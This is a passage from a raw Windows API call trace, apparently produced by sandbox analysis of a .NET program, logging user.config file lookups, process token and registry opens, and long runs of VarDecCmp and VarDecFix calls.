"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft_corporation\\defaultdomain_path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config"), fInfoLevelId=0x0, lpFileInformation=0x843c900 | out: lpFileInformation=0x843c900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0107.477] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x83 [0107.477] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config", nBufferLength=0x83, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config", lpFilePart=0x0) returned 0x82 [0107.557] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft_corporation\\defaultdomain_path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config"), fInfoLevelId=0x0, lpFileInformation=0x843c908 | out: lpFileInformation=0x843c908*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0107.557] GetCurrentProcess () returned 0xffffffff [0107.557] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843ca50 | out: TokenHandle=0x843ca50*=0xa00) returned 1 [0107.558] GetCurrentProcess () returned 0xffffffff [0107.558] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x843c908 | out: TokenHandle=0x843c908*=0x9f0) returned 1 [0107.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft_corporation\\defaultdomain_path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config"), fInfoLevelId=0x0, lpFileInformation=0x843c900 | out: lpFileInformation=0x843c900*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0107.559] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x81 [0107.559] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config", nBufferLength=0x81, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config", lpFilePart=0x0) returned 0x80 [0107.559] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft_Corporation\\DefaultDomain_Path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft_corporation\\defaultdomain_path_vts5ulh4lcatsmkjq054m5tgofqeypsd\\10.0.15063.0\\user.config"), fInfoLevelId=0x0, lpFileInformation=0x843c908 | out: lpFileInformation=0x843c908*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0107.570] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x843b9dc | out: phkResult=0x843b9dc*=0x0) returned 0x2 [0107.571] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x843b9dc | out: phkResult=0x843b9dc*=0x0) returned 0x2 [0107.746] VarDecCmp (pdecLeft=0x843c4e0, pdecRight=0x843c4d0) returned 0x1 [0107.746] VarDecFix (in: pdecIn=0x843c4c0, pdecResult=0x843c47c | out: pdecResult=0x843c47c) returned 0x0 [0107.746] VarDecCmp (pdecLeft=0x843c4b0, pdecRight=0x843c4a0) returned 0x1 [0107.746] VarDecCmp (pdecLeft=0x843c4e0, pdecRight=0x843c4d0) returned 0x2 [0107.747] VarDecFix (in: pdecIn=0x843c4c0, pdecResult=0x843c458 | out: pdecResult=0x843c458) returned 0x0 [0107.747] VarDecCmp (pdecLeft=0x843c4b0, pdecRight=0x843c4a0) returned 0x1 [0107.747] VarDecCmp (pdecLeft=0x843c490, pdecRight=0x843c480) returned 0x2 [0107.748] VarDecCmp (pdecLeft=0x843c4e0, pdecRight=0x843c4d0) returned 0x1 [0107.748] VarDecFix (in: pdecIn=0x843c4c0, pdecResult=0x843c47c | out: pdecResult=0x843c47c) returned 0x0 [0107.748] VarDecCmp (pdecLeft=0x843c4b0, pdecRight=0x843c4a0) returned 0x1 [0107.748] VarDecCmp (pdecLeft=0x843c4e0, pdecRight=0x843c4d0) returned 0x2 [0107.748] VarDecFix (in: pdecIn=0x843c4c0, pdecResult=0x843c458 | out: pdecResult=0x843c458) returned 0x0 [0107.748] VarDecCmp (pdecLeft=0x843c4b0, pdecRight=0x843c4a0) returned 0x1 [0107.748] VarDecCmp (pdecLeft=0x843c490, pdecRight=0x843c480) returned 0x2 [0107.748] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.749] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.749] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.749] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.749] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.749] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.750] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.751] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.751] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.752] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.752] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.752] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.753] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.753] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.753] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.753] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.753] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.753] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.753] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.753] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.753] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.755] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.755] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.755] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.755] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.756] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.756] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.756] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.756] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.756] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.756] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.756] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.756] VarDecCmp (pdecLeft=0x843cbd0, pdecRight=0x843cbc0) returned 0x1 [0107.760] VarDecCmp (pdecLeft=0x843c970, pdecRight=0x843c960) returned 0x1 [0107.760] VarDecCmp (pdecLeft=0x843c914, pdecRight=0x843c904) returned 0x1 [0107.760] VarDecCmp (pdecLeft=0x843c914, pdecRight=0x843c904) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.761] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.761] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c814, pdecRight=0x843c804) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c7b8, pdecRight=0x843c7a8) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c7b8, pdecRight=0x843c7a8) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c7b8, pdecRight=0x843c7a8) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c7b8, pdecRight=0x843c7a8) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.762] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.762] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c744, pdecRight=0x843c734) returned 0x1 [0107.763] VarDecCmp (pdecLeft=0x843c6e8, pdecRight=0x843c6d8) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843c9b0, pdecRight=0x843c9a0) returned 0x1 [0107.763] VarDecCmp (pdecLeft=0x843c954, pdecRight=0x843c944) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x2 [0107.763] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.763] VarDecFix (in: pdecIn=0x843d0c4, pdecResult=0x843d080 | out: pdecResult=0x843d080) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843d0b4, pdecRight=0x843d0a4) returned 0x1 [0107.763] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.763] VarDecFix (in: pdecIn=0x843d0c4, pdecResult=0x843d05c | out: pdecResult=0x843d05c) returned 0x0 [0107.763] VarDecCmp (pdecLeft=0x843d0b4, pdecRight=0x843d0a4) returned 0x1 [0107.763] VarDecCmp (pdecLeft=0x843d094, pdecRight=0x843d084) returned 0x2 [0107.763] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.763] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x1 [0107.763] VarDecCmp (pdecLeft=0x843d184, pdecRight=0x843d174) returned 0x2 [0107.763] VarDecCmp (pdecLeft=0x843d1e0, pdecRight=0x843d1d0) returned 0x2 [0107.764] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x1 [0107.764] VarDecCmp (pdecLeft=0x843cf14, pdecRight=0x843cf04) returned 0x2 [0107.764] VarDecCmp (pdecLeft=0x843cef4, pdecRight=0x843cee4) returned 0x2 [0107.764] VarDecCmp (pdecLeft=0x843ceb4, pdecRight=0x843cea4) returned 0x2 [0107.764] VarDecCmp (pdecLeft=0x843ce74, pdecRight=0x843ce64) returned 0x1 [0107.764] VarDecCmp (pdecLeft=0x843ce54, pdecRight=0x843ce44) returned 0x1 [0107.764] VarDecCmp (pdecLeft=0x843d0e0, pdecRight=0x843d0d0) returned 0x1 [0107.764] VarDecCmp (pdecLeft=0x843d0c0, pdecRight=0x843d0b0) returned 0x1 [0107.767] VarDecCmp (pdecLeft=0x843ceec, pdecRight=0x843cedc) returned 0x0 [0107.767] VarDecCmp (pdecLeft=0x843cecc, pdecRight=0x843cebc) returned 0x2 [0107.767] VarDecCmp (pdecLeft=0x843cf94, pdecRight=0x843cf84) returned 0x2 [0107.767] VarDecCmp (pdecLeft=0x843cf74, pdecRight=0x843cf64) returned 0x0 [0107.767] VarDecCmp (pdecLeft=0x843ceec, pdecRight=0x843cedc) returned 0x0 [0107.767] VarDecCmp (pdecLeft=0x843cecc, pdecRight=0x843cebc) returned 0x2 [0107.767] VarDecCmp (pdecLeft=0x843cf94, pdecRight=0x843cf84) returned 0x2 [0107.767] VarDecCmp (pdecLeft=0x843cf74, pdecRight=0x843cf64) returned 0x0 [0107.768] VarDecCmp (pdecLeft=0x843ceec, pdecRight=0x843cedc) returned 0x0 [0107.768] VarDecCmp (pdecLeft=0x843cecc, pdecRight=0x843cebc) returned 0x2 [0107.768] VarDecCmp (pdecLeft=0x843cf94, pdecRight=0x843cf84) returned 0x2 [0107.768] VarDecCmp (pdecLeft=0x843cf74, pdecRight=0x843cf64) returned 0x0 [0107.768] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x2 [0107.768] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.768] VarDecFix (in: pdecIn=0x843d0c4, pdecResult=0x843d080 | out: pdecResult=0x843d080) returned 0x0 [0107.768] VarDecCmp (pdecLeft=0x843d0b4, pdecRight=0x843d0a4) returned 0x1 [0107.768] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.768] VarDecFix (in: pdecIn=0x843d0c4, pdecResult=0x843d05c | out: pdecResult=0x843d05c) returned 0x0 [0107.768] VarDecCmp (pdecLeft=0x843d0b4, pdecRight=0x843d0a4) returned 0x1 [0107.768] VarDecCmp (pdecLeft=0x843d094, pdecRight=0x843d084) returned 0x2 [0107.769] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.769] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x1 [0107.769] VarDecCmp (pdecLeft=0x843d184, pdecRight=0x843d174) returned 0x1 [0107.769] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.769] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x1 [0107.769] VarDecCmp (pdecLeft=0x843d184, pdecRight=0x843d174) returned 0x1 [0107.769] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.769] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x0 [0107.769] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.769] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x0 [0107.769] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.769] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x0 [0107.769] VarDecCmp (pdecLeft=0x843d1e0, pdecRight=0x843d1d0) returned 0x2 [0107.769] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x1 [0107.769] VarDecCmp (pdecLeft=0x843cf14, pdecRight=0x843cf04) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843cf14, pdecRight=0x843cf04) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x0 [0107.770] VarDecCmp (pdecLeft=0x843cef4, pdecRight=0x843cee4) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843ced4, pdecRight=0x843cec4) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x0 [0107.770] VarDecCmp (pdecLeft=0x843cef4, pdecRight=0x843cee4) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843ced4, pdecRight=0x843cec4) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x0 [0107.770] VarDecCmp (pdecLeft=0x843cef4, pdecRight=0x843cee4) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843ced4, pdecRight=0x843cec4) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843d0e0, pdecRight=0x843d0d0) returned 0x1 [0107.770] VarDecCmp (pdecLeft=0x843d0c0, pdecRight=0x843d0b0) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.771] VarDecFix (in: pdecIn=0x843d0c4, pdecResult=0x843d080 | out: pdecResult=0x843d080) returned 0x0 [0107.771] VarDecCmp (pdecLeft=0x843d0b4, pdecRight=0x843d0a4) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.771] VarDecFix (in: pdecIn=0x843d0c4, pdecResult=0x843d05c | out: pdecResult=0x843d05c) returned 0x0 [0107.771] VarDecCmp (pdecLeft=0x843d0b4, pdecRight=0x843d0a4) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d094, pdecRight=0x843d084) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d184, pdecRight=0x843d174) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d184, pdecRight=0x843d174) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x0 [0107.771] VarDecCmp (pdecLeft=0x843d1e0, pdecRight=0x843d1d0) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843cf14, pdecRight=0x843cf04) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843cf14, pdecRight=0x843cf04) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843cf34, pdecRight=0x843cf24) returned 0x0 [0107.771] VarDecCmp (pdecLeft=0x843cef4, pdecRight=0x843cee4) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843ced4, pdecRight=0x843cec4) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d0e0, pdecRight=0x843d0d0) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d0c0, pdecRight=0x843d0b0) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d1a4, pdecRight=0x843d194) returned 0x2 [0107.771] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.771] VarDecFix (in: pdecIn=0x843d0c4, pdecResult=0x843d080 | out: pdecResult=0x843d080) returned 0x0 [0107.771] VarDecCmp (pdecLeft=0x843d0b4, pdecRight=0x843d0a4) returned 0x1 [0107.771] VarDecCmp (pdecLeft=0x843d0e4, pdecRight=0x843d0d4) returned 0x2 [0107.771] VarDecFix (in: pdecIn=0x843d0c4, pdecResult=0x843d05c | out: pdecResult=0x843d05c) returned 0x0 [0107.771] VarDecCmp (pdecLeft=0x843d0b4, pdecRight=0x843d0a4) returned 0x1 [0107.771] VarDecCmp 